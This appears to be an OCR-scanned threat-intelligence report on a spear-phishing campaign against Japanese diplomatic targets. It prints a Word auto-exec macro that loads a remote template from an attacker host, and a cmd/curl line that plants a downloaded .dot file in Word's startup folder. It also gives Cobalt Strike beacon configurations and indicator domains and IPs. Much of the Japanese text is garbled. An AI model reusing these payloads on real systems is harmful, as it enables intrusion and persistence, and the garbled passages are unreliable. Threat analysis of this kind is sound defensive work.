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Sub autoexec()

On Error Resume Next

If ThisDocument.XMLSaveThroughXSLT <> Day(Now) Then
ThisDocument.XMLSaveThroughXSLT = Day(Now)

Application.Documents.Open "http://resource.officehoster.com/w" + Environ

("username") + "w.dot", Visible:=0
ThisDocument.Save

End If

End Sub
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E1T&X M 1-Cobalt Strike Stagerd)Config|(ZA D & &) TT .

BeaconType HTTPS

Port 443

PublicKey_ MD5 defb5d95ce99elebbf421ala38d9cbe4
C2Server abc.mbusabc[.]com, /sdgs/article
UserAgent Not Found

HttpPostUri /gtm.Jjs

Malleable C2 Instructions Remove 1522 bytes from the end
Remove 88 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key

Watermark 1580103824
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C:\Windows\system32\cmd.exe /c explorer https://6bfeeb71c.disknxt.com/
VmpJdo1WWX1SblITYWsw/FHERZEMN .pdf & mkdir %appdata%\Microsoft\Word\STARTUP &

curl -o %appdata%\Microsoft\Word\STARTUP\f.dot https://6bfeeb71c.disknxt.com/
13TYWsw/annak.docx
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Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/

87.0.4280.60 YaBrowser/22.12.0.966 Yowser/2.5 Safari/537.36
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// 7443 / TCP z -2106581855 | 2022-04-12705:24:36. 256506

HTTP/1.1 200 OK

Date: Tue, 12 Apr 2022 05:24:35 GNT
Content-Type: text/html: charset=utf-8
Server: Kestrel

Transfer-Encoding: chunked

SSL Certificate

Certificate:
Data
Version: 3 (0x2)
Serial Number: 5294099935578943392 (0x49786bd79199efa0)
Signature Algorithm: sha256WithRSAEncryption
Issuer: CN=Covenant
Validity
Not Before: Apr 11 03:00:55 2022 GMT
Not After : Apr 9 03:00:55 2032 GMT
Subject: CN=Covenant
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)

20214F 11 A D5

20224F1 8 ¥ 43 TR Cobalt StrikeDZEFI(ZBFE L T, 20214511 8 (ZHAF & 7= differentfor[.Jcom & Ly
XA UHETONET., 17T RXA2, 7 74)L/XZ, HTTP~A v X, Cobalt Striked)Config7y
EHDBHELTHY., AEEF v R—2EFIEL TWBAEEEAH ) £7.

BeaconType HTTPS

Port 443

PublicKey_MD5 defb5d95ce99elebbf421al1a38d9cbe4
C2Server d.differentfor[.]com,/sdgs/article
UserAgent Not Found

HttpPostUri /gtm.js

Malleable_C2_Instructions Remove 1522 bytes from the end
Remove 88 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key

Watermark 1580103824
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Taiwan Crisis and Japan’s Strategy

| Event Details

E Taiwan Crisis and Japan's Strategy

DETAILS
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To download as a PDF, please click here.
On Tuesday, November 2, 2021, Sasakawa Peace Foundation USA (Sasakawa USA} hosted a virtual event, “Taiwan Crisis and Japan's Strategy.
featuring remarks by Lieutenant General Koichiro Bansho, Japan Ground Self-Defense Force (JGSDF) {Ret.}, who served as the Commander of
the Western Army of Japan from 2013 to 2015. He was joined by commentator Lieutenant General Wallace “Chip” Gregson, United States
Marine Corps (USMC) (Ret.). who was the Assistant Secretary of Defense for Asian and Pacific Security Affairs from 2009 to 2011. LTG Bansho
discussed Japan's recent efforts to strengthen defense near Taiwan and the surrounding areas, how Japan would act in a potential Taiwan crisis
ways o improve Japan-U.S-Taiwan trilateral relations, and how Japan and the United States can collaborate Lo ensure security in the region.
bl
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Adversary
‘ Social-Politics Axis - Believed to be based in East Asia?
Japanese diplomacy in East Asia
Capabilities Infrastructure
- Downloader - VPS/Hosting service
- LNK file

(LINODE/CHOOPA/Vultr)
- OpenResty
- Mimicking domain name

- Multiple document
- Golang binary
- Cobalt Strike

‘ Technical Axis

Spear-phishing
- DLL Side-Loading
- Microsoft Word startup
- Japanese decoy file

Victims
- Japanese company

- Diplomatic field
- Use of IPs belonging to Japan (Especially Japan and South Korea)

B2 A ) £ FICEBITARE(FIABICHAAIZNG L TWSZ e TY. IZHI1—H 48K
NAH, BRZLBAAREAIRL., BEDIPT FLRAFEHAT 278 B 2RNERNLHE TR <. B
KEIFRETNEEFN—aohmWeEIONET. F1o. ZEEF v R—2TFEHAINSHWeb
H—/N(IHIRAIERIZL > TT 7 BB AIT > TWBEEEMA B V) . HEBENMEES , BIES 4 &
L. BRIINTZ2EVWHEBEFN—2 3 Y EENAFREA BB IL—T7 (307 (. B4R
LbNTEFT,

Page 7 of 10



https://insight-jp.nttsecurity.com /post/102ho80o/operation-restylink

NSDZehn. EHABTEMAEE > TWSIZHNEKEB I —T 540 (TET. AR TIIERLT
Wi UWMR 2 B R AEE L 1- LT, FE(IDarkHotel T B AJREM A MINEMH L () HI&FTL T E T

H. EDGETHRENLGERIIL W -OBEIR . SED) Y—F TRE (EWT DML D
VEJ.

DarkHotel

DarkHotel(33E (ZIFBT 2 & SHN TLBIEREAKE S I)IL—J11T. BARTHE HEBABAIL TL
F 9[2][3][4][5](6]. DarkHotellFHANX 7« FHRFERL > I X7 HMICHE LT TH Y. BX
RBOA=IET AL 7 7AIVERWTRET 7 4w 7 5{TW LNK7 71 LERVWTEEBNXY
vO0—X - O—X&FITLET. INOOFREIATEF v R—rIEL . BFEMARHON
9.

Kimsuky

Kimsuky(ZLEAEEICIF BT 2 e EHONTWBKE S IL—T171T. BATHRIIREABAIL TWET
[81[9]. Kimsuky(ZBitE X ¢NICBAH D4 AIFK e L TW D a. BEANDX T« TRFEHIEH &
otz=Zxbdl) 9. Ftr-. BEETIILNKY 71 IILEBAW-TELREN0ZINTEYN . Zhnm
IR v o R— R TWE T,

APT29

APT29(F O 7 IZIRET 2 EHhN TWLAIEHNAIKE S )L—J7 11T, BETIHIE A EEDOHEIZD
WTHESNDZZ X EH) FEA. LA L. BSOS BB LHEBDEW - 751) ) D EEZ
SN FEF. Fr-. APT29(ZLNK 7 71 JLI12]1XISO T 71 JL[13]15 L -EBABIZHREINTE ) .

& 5 (ZCobalt Strike[14]X°Golang %)Ly =77 [1515F AT 2 Z & bHLNTWET . ZINHEFRKEF +
R—EFMLTUWET,

TA416

TA416(ZFEIZHBET D SHN TULSIZHEIKE S )IL—J1161T. BARTIFRHIREABAIL T F
9, TA416[ZLNK 7 7 JLX>Cobalt Strike 2{F L THE[171[18]151TWFTH. TN H(IAHE ST+
R— ML TUWET,

Hh)I

2022F4ARIRE, BAGEAE SRR E S v o R—UhBllEhTWET. AEEF v —>
[FWLKODDIFBHIEZ LN ETH. BIRLBRIIRETETWEEA. UL -HBIIE s ATH
SITHNTWFTREMD D 1) . SE HAKGRITER L T BEADH Y 7.

IoCs
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o * officehoster[.]com
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o *.spffusal.]org

o *.sseekk[.]xyz

e *.mbusabc[.]Jcom
o * differentfor[.]com
e 103[.]29.69.155
e 149[.]28.16.63

e 172[.]104.122.93
e 172[.]105.229.93
e 172[.]105.229.216
o 207[.]148.91.243
e 45[.]77.179.110
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